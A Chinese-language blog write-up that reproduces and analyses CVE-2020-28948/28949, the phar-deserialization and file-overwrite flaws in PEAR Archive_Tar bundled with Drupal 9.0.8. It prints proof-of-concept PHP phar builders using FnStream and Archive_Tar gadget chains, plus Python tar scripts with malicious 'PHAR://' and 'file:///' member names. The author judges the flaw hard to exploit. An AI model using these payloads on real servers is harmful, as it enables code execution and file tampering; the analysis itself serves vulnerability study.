Drupal(CVE-2020-28948&CVE-2020-28949)分析

漏洞简介

前段时间 drupal 更新了一则安全通告,主要因为 PEAR 的 Archive_Tar 模块存在 CVE-2020-28948/CVE-2020-28949 漏洞。drupal 集成了带漏洞的 Archive_Tar 模块,所以存在被利用的风险。实际利用非常苛刻,应该是并不能无法直接利用成功的

漏洞复现

这一部分描述可能会比较繁琐,我将我在其中遇见的所有问题以及自己的思考全部记录下。

环境搭建

首先是搭建环境,我们选取Drupal 9.0.8作为复现漏洞的版本。选取 phpstudy 自带的 apache + mysql 环境来进行安装,安装时出现了问题,前前后后一直安装不上,安装之后除了首页均显示 404 页面。通过查询发现是因为在安装时提示 drupal 没有开启简洁配置。开启drupal的简洁配置有两种操作(1)开启 Apache 服务器支持 mod_rewrite.so 模块。(2)修改 Drupal 根目录下的 .htaccess 文件,同时修改 httpd.conf 中的 AllowOverride ,使 Apache可以加载 web 目录下的 .htaccess文件。

后来仔细一看,发现安装过程中 drupal 根目录下的 .htaccess 文件变成空了,所以又将 .htaccess 提取了一份复制到根目录下就成功了这个东西也看人品,在虚拟机中安装时,并没有任何错误

照猫画虎

刚开始分析的时候借鉴的网上的一篇文章 Drupal(CVE-2020-28948/CVE-2020-28949)分析 想着先按照操作来执行一遍。

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
namespace GuzzleHttp\Psr7;

class FnStream{
private $methods;

public function __construct(array $methods)
{
$this->methods = $methods;
foreach ($methods as $name => $fn) {
$this->{'_fn_' . $name} = $fn;
}
}
public function __destruct()
{
if (isset($this->_fn_close)) {
call_user_func($this->_fn_close);
}
}
}

$test["close"]="phpinfo";
$c = new FnStream($test);
$phar = new \Phar("test.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub("<?php__HALT_COMPILER(); ?>");
$phar->setMetadata($c);
$phar->stopBuffering();

?>
1
2
3
4
import tarfile
tar = tarfile.open('test.tar','w')
tar.add('test.phar','PHAR://test.phar')
tar.close()

找到上传 tar 的位置 先把tar上传上去
http://test.test/admin/config/development/configuration/full/import

上传之后直接报错了,我们根据报错信息进行全局搜索
core/modules/config/src/Form/ConfigImportForm.php

此时我们先把 $archiver->extractList($files, $this->settings->get('config_sync_directory'), '', FALSE, FALSE);
修改为 $archiver->extractList($files, '', '', FALSE, FALSE);
具体原因稍后再进行分析

这个时候出现了新的错误,提示找不到phar文件,于是我们将生成的 phar 文件拷贝到 Drupal 的根目录下。

我们再次根据报错信息进行分析,发现在 src/FnStream.php文件中的 __wakeup() 方法,可见此时已经触发了反序列化方法,但是因为 Fnstream 禁止反序列化,所以并未成功。

到这个地方已经基本上证实了可以通过这种修改文件名的方法来触发 phar:// 反序列化。
为了进一步的显示实验效果,我们把这个方法注释掉,然后再一次的执行。

可能这种方式存在偶然性,好几次才成功了一次
先初步总结一下在 drupal 上利用成功的前提条件

  • 登录成功后台,上传 tar 包
  • 上传已知路径的 .phar 文件 <无法满足,通过修改文件名后缀等方法,并不能上传成功>
  • 设置 path 为 空 <无法满足,$this->settings->get('config_sync_directory') 无法设置为空>
  • 寻址一条可利用的反序列化链 √ FnStream.php 的反序列化链受限 可以直接通过 Tar.php 的反序列化链

所以这个可能仅仅针对 drupal 是一个风险,并不存在这样的漏洞

然后是任意文件覆盖

1
2
3
4
import tarfile
tar = tarfile.open('test.tar','w')
tar.add('whippet.txt','file:///E://1.txt')
tar.close()

漏洞分析

我们通过 drupla 的官方通告 可以知道是因为 PEAR 的 Archive_Tar 模块存在漏洞,所以我们首先是对 Archive_Tar 这个漏洞进行分析。
我们根据 github 上的 Archive_Tar issues 来进行具体的分析,首先我们能够知道的是,Archive_Tar 在之前是存在漏洞的,修复的方法是

  • 通过指定 tar 包含指定为恶意文件名 PHAR://exploit.phar (使用大写字母表示)
  • 尽管 Archive_Tar 尝试防御 phar 的反序列化,但是其他的流包装器并未被检查,可以通过指定 tar 包含指定恶意文件名 file///etc/passwd 如果 php 进程在特权用户下运行,这使攻击者可以覆盖 /etc/passwd 或 /etc/shadow。

我们可以看到提供的 poc 的验证文件为

跟进 extract

跟进 extractModify

跟进_extractList

translatewinpath 把前面传过来的路径重新转义之后赋值给 $p_path,在这里$p_path 前面没有传值为空。
接着向下

跟进 _readHeader

继续之后发现了_maliciousFilename

跟进 _maliciousFilename

想办法绕过这个验证,继续回到函数 _extractList

首先是将 $p_path 拼接到文件名之前,然后调用 file_exists 判断文件是否存在,如果存在时因为文件名为 PHAR://xxx.phar,会触发 phar 反序列化去解析那个指定的文件。
这里调用的反序列化链为

可以实现任意文件删除

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

class Archive_Tar {
public $_temp_tarname;
function __construct($_temp_tarname) {
$this->_temp_tarname = $_temp_tarname;
}
}

$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('whatever', 'whatever');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata(new Archive_Tar('unserialize_test'));
$phar->stopBuffering();

针对 drupal 这个漏洞,仅仅属于一个风险警告,因为需要满足的条件有些多,并不能一一满足。
core/modules/config/src/Form/ConfigImportForm.php

Archive/Tar.php

后面的基本相同,需要满足的是 file_exists,在前面传参时 $p_path 的数值被指定为 $this->settings->get('config_sync_directory')

所以只能手动指定为空了,再一个就是要上传上 phar 文件,去指定解析,因为 drupal 并不能通过修改后缀就指定成功,所以也是手动拷贝 phar 文件到根目录了。

参考文章

Drupal(CVE-2020-28948/CVE-2020-28949)分析
PEAR Archive_Tar 安全漏洞
Archive_Tar issues